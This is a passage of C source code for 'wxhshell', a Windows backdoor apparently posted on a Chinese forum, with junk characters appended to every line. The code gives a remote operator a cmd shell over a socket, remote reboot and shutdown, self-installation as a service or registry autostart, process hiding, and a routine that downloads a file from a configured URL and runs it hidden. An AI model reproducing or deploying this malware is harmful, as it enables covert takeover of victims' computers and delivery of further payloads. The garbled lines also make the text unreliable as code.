  else { A?;8%00  
[N95.aD  
    switch(cmd[0]) { S-LZ(o{ZL  
  SC $`  
  // 帮助 >SxZ9T|%  
  case '?': { @X|i@{<';  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); igj={==m  
    break; oF@x]bmU  
  } ULNAH`{D  
  // 安装 DNW2;i<hsz  
  case 'i': { Ub'%pU  
    if(Install()) +{C9uY)$vf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #[U 9(44,  
    else Yf!*OGF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eb.cq"C  
    break; @( n^S?(  
    } 16[-3cJ T  
  // 卸载 `Ge+(1x  
  case 'r': { a:-)+sgHw  
    if(Uninstall()) 7Js>!KR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I>kiah*  
    else hM36QOdm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `z?KL(rI  
    break; i (%tHa37  
    } gaw4NZd)0  
  // 显示 wxhshell 所在路径 hLyTUt~\L  
  case 'p': { WBw M;S#%  
    char svExeFile[MAX_PATH]; I| W'n-4Y  
    strcpy(svExeFile,"\n\r"); =~\]3g  
      strcat(svExeFile,ExeFile); Xb<DpBrk  
        send(wsh,svExeFile,strlen(svExeFile),0); I NPYJ#%  
    break; ^)hAVf~E  
    } @m/;ZQ  
  // 重启 #j^('K|  
  case 'b': { >9.5-5"   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wiq{wxe  
    if(Boot(REBOOT)) 4{*tn"y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |ilv|UV  
    else { XJ:>UNf5;  
    closesocket(wsh); OBI+<2`Oc  
    ExitThread(0); 0~Iu7mPY  
    } up3?$hUc.  
    break; @@%i( >4Z  
    } jNe(w<',P  
  // 关机 [:nx);\  
  case 'd': { >k&8el6h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _}I(U?Q-C  
    if(Boot(SHUTDOWN)) jJ*@5?A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XdGpW  
    else { z29qARiX  
    closesocket(wsh); pK6e/eC  
    ExitThread(0); mfeMmKFu\  
    } %ezb^O_6v  
    break; ggm2%|?X  
    } *3_f &Y  
  // 获取shell e}'#Xv  
  case 's': { <$ i"zb  
    CmdShell(wsh); >Lw}KO`  
    closesocket(wsh); 5!'R'x5e  
    ExitThread(0); HDF!`  
    break; o%Be0~n'  
  } AezvBY0'`z  
  // 退出 ~|CJsD/  
  case 'x': { MvFM ,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J$#h( D%  
    CloseIt(wsh); &jV9*  
    break; ?~"`^|d  
    } ^w:OS5%R  
  // 离开 0W T#6D  
  case 'q': { *M> iZO*@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JcTp(fnW.~  
    closesocket(wsh); vix&E`0yD  
    WSACleanup(); 0PnD|]9:  
    exit(1); 2qZa9^}  
    break; 3[0w+{ (Q  
        } Yz&*PPx  
  } QU^/[75Ea0  
  } xab]q$n]k  
87QZun%  
  // 提示信息 ="uKWt6n'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V I6\   
} M"=8O>NZ2  
  } $hG;2v  
I86e&"40  
  return; 'oz hz2s  
} ^ckj3Y#;  
Yv)Bj  
// shell模块句柄 yWj9EHQU[  
int CmdShell(SOCKET sock) 5/& 1Oxo  
{ `%-4>jI9-  
STARTUPINFO si; X^zYQ6t  
ZeroMemory(&si,sizeof(si)); g3|BE2?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v~ ^ks{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R<f#r03@|  
PROCESS_INFORMATION ProcessInfo; F,*2#:Ki  
char cmdline[]="cmd"; kWB, ;7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ya}T2VX  
  return 0; 3g4e' ]t  
} `1nRcY  
9<xTu>7J  
// 自身启动模式 BG'6;64kx6  
int StartFromService(void) 8AT;8I<K  
{ 2HcsQ*H] G  
typedef struct cyW;,uT)D  
{ M'yO+bu  
  DWORD ExitStatus; QJx9I_  
  DWORD PebBaseAddress; p/r~n'g$  
  DWORD AffinityMask; {mNdL J  
  DWORD BasePriority; "XCU'_k=  
  ULONG UniqueProcessId; }qer   
  ULONG InheritedFromUniqueProcessId; rmOQ{2}  
}   PROCESS_BASIC_INFORMATION; h^}_YaT\  
BjM+0[HC  
PROCNTQSIP NtQueryInformationProcess; }o-|8P:Y  
`vudS?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +'-rTi\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "Dyym<J  
@ru<4`h  
  HANDLE             hProcess; |2z}Xm5\  
  PROCESS_BASIC_INFORMATION pbi; {tPnj_|n<  
xN6>2e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wD`[5~C{  
  if(NULL == hInst ) return 0; >G]?  
i-`,/e~XT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )))2f skZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +H7y/#e+3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }04Dg '  
S|HY+Z6n'  
  if (!NtQueryInformationProcess) return 0; Ba<ngG !  
'<TD6jBs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9oEpPL5  
  if(!hProcess) return 0; |Eb&}m:E$  
xJ-*%'(KZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UmJUt|  
Zp`~}LV{  
  CloseHandle(hProcess); My. dD'C  
C1 W>/?XC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g[M]i6h2  
if(hProcess==NULL) return 0; hHpx?9O+!  
GE@uO J6H  
HMODULE hMod; im=5{PbJ^  
char procName[255]; 29%=:*R$  
unsigned long cbNeeded; (wife#)~  
2xDQ :=ec  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J==}QEhQ{  
?FN9rhAC  
  CloseHandle(hProcess); j~epbl)pC  
0{Bf9cH  
if(strstr(procName,"services")) return 1; // 以服务启动 _74UdD{^o  
m=H_?W;  
  return 0; // 注册表启动 Vn'?3Eb<  
} P@C c]Z  
`mrCu>7  
// 主模块 |"Z-7@/k$i  
int StartWxhshell(LPSTR lpCmdLine) =c&62;O  
{ ^uhxURF  
  SOCKET wsl; S/VA~,KCe;  
BOOL val=TRUE; Q\|18wkW  
  int port=0; 6J\q`q(W(  
  struct sockaddr_in door; |~eY%LB  
L;3aZt,#O  
  if(wscfg.ws_autoins) Install(); y`rL=N#  
$.a|ae|K  
port=atoi(lpCmdLine); F99A;M8(  
mbyih+amCr  
if(port<=0) port=wscfg.ws_port; ;Z*'D}  
(-\]A|  
  WSADATA data; /l ^y}o %?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; usy,V"{  
UeA2c_ 5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zj{(p Z1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I0iY+@^5  
  door.sin_family = AF_INET; 7%4.b7Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 45) D+  
  door.sin_port = htons(port); };rm3;~ eg  
)6=gooe]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GMdI0jaG#  
closesocket(wsl); AF GwT%ZD  
return 1; KSc~GP _  
} j{)~QD?  
jB!W2~Z  
  if(listen(wsl,2) == INVALID_SOCKET) { Y''6NGf  
closesocket(wsl); a%E8(ms37y  
return 1; M6_-f ;.  
} r{S=Z~J  
  Wxhshell(wsl); =UNT.]  
  WSACleanup(); T%kKVr  
")ED)&e  
return 0; 9`BEi(z  
&\k?xN  
} zw]3Vg{T  
q!&B6]  
// 以NT服务方式启动 'irGvex  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1i3V!!r  
{ &hI>L  
DWORD   status = 0; 333u]  
  DWORD   specificError = 0xfffffff;  %}h`+L  
"y$ qrN-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^wJEfac  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )|RZa|`-G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f&c]LH _  
  serviceStatus.dwWin32ExitCode     = 0; 6.'$EtH  
  serviceStatus.dwServiceSpecificExitCode = 0; E~RV1)  
  serviceStatus.dwCheckPoint       = 0; x%6hM |U  
  serviceStatus.dwWaitHint       = 0; 3D[=b%2\  
O: JPJ"!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (B:uc_+  
  if (hServiceStatusHandle==0) return; {2:d` fqD  
(;UP%H>  
status = GetLastError(); +i=p5d5  
  if (status!=NO_ERROR) C8.W5P[U  
{ e!Br>^8l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JT)k  
    serviceStatus.dwCheckPoint       = 0; &Mj1CvCv  
    serviceStatus.dwWaitHint       = 0; BFh$.+D  
    serviceStatus.dwWin32ExitCode     = status; /cfHYvnz  
    serviceStatus.dwServiceSpecificExitCode = specificError; BI.V0@qZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A$@o'Q;he  
    return; :Fw?{0  
  } Vv4H:BK$  
SA+d&H}Fc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _CE9B e\  
  serviceStatus.dwCheckPoint       = 0; M/#U2!iFk  
  serviceStatus.dwWaitHint       = 0; .S!-e$EJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O>AFF@=  
} Pq?*C;D  
v9rVpYc"  
// 处理NT服务事件,比如:启动、停止 AS|Rd+ .  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]fE3s{y &-  
{ p=B?/Sqa  
switch(fdwControl) l.oBcg[  
{ -B 9S}NPo  
case SERVICE_CONTROL_STOP: q- :4=vkn  
  serviceStatus.dwWin32ExitCode = 0; yW("G-Nm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d}-'<Z#G  
  serviceStatus.dwCheckPoint   = 0; xNX'~B^4d  
  serviceStatus.dwWaitHint     = 0; j#3m|dQ  
  { TQJF+;%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t',BI  
  } v=p0 +J>  
  return; 9p`r7:  
case SERVICE_CONTROL_PAUSE: JIxiklk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M&yqfb[  
  break; lzDdD3Ouc  
case SERVICE_CONTROL_CONTINUE: ]"sRS`0+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v[&'k\  
  break; Wc|z7P~',%  
case SERVICE_CONTROL_INTERROGATE: ^|?1_r  
  break; ?3jdg]&  
}; rzu s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G),db%,X2  
} Yy h=G  
[Oy >R  
// 标准应用程序主函数 FT.@1/)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~`R1sSr"  
{ qq;b~ 3 kW  
zvr\36  
// 获取操作系统版本 yX! #a>d"H  
OsIsNt=GetOsVer(); |$e:*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /U*yw5  
ETp'oh}?  
  // 从命令行安装 M<(u A'  
  if(strpbrk(lpCmdLine,"iI")) Install(); *jF#^=  
 $Nu)E  
  // 下载执行文件 !O{ z 3W  
if(wscfg.ws_downexe) { <HQ&-jx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T//S,   
  WinExec(wscfg.ws_filenam,SW_HIDE); ?N>pZR  
} e{C6by"j{S  
F=}Z51|:~  
if(!OsIsNt) { 2Va4i7"X\  
// 如果时win9x,隐藏进程并且设置为注册表启动 uTGcQs}  
HideProc(); Dp^/gL=  
StartWxhshell(lpCmdLine); 54q3R`y  
} J^ ={}  
else cy1jZ1)  
  if(StartFromService()) z*LiweR-  
  // 以服务方式启动 hZN<Yd8:  
  StartServiceCtrlDispatcher(DispatchTable); ~G `J r  
else C3S`}o.  
  // 普通方式启动 =.b Y#4  
  StartWxhshell(lpCmdLine); $bGD%9 z  
>IY,be6>P  
return 0; yr{B5z,  
}
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只看该作者 1 发表于: 2006-10-10
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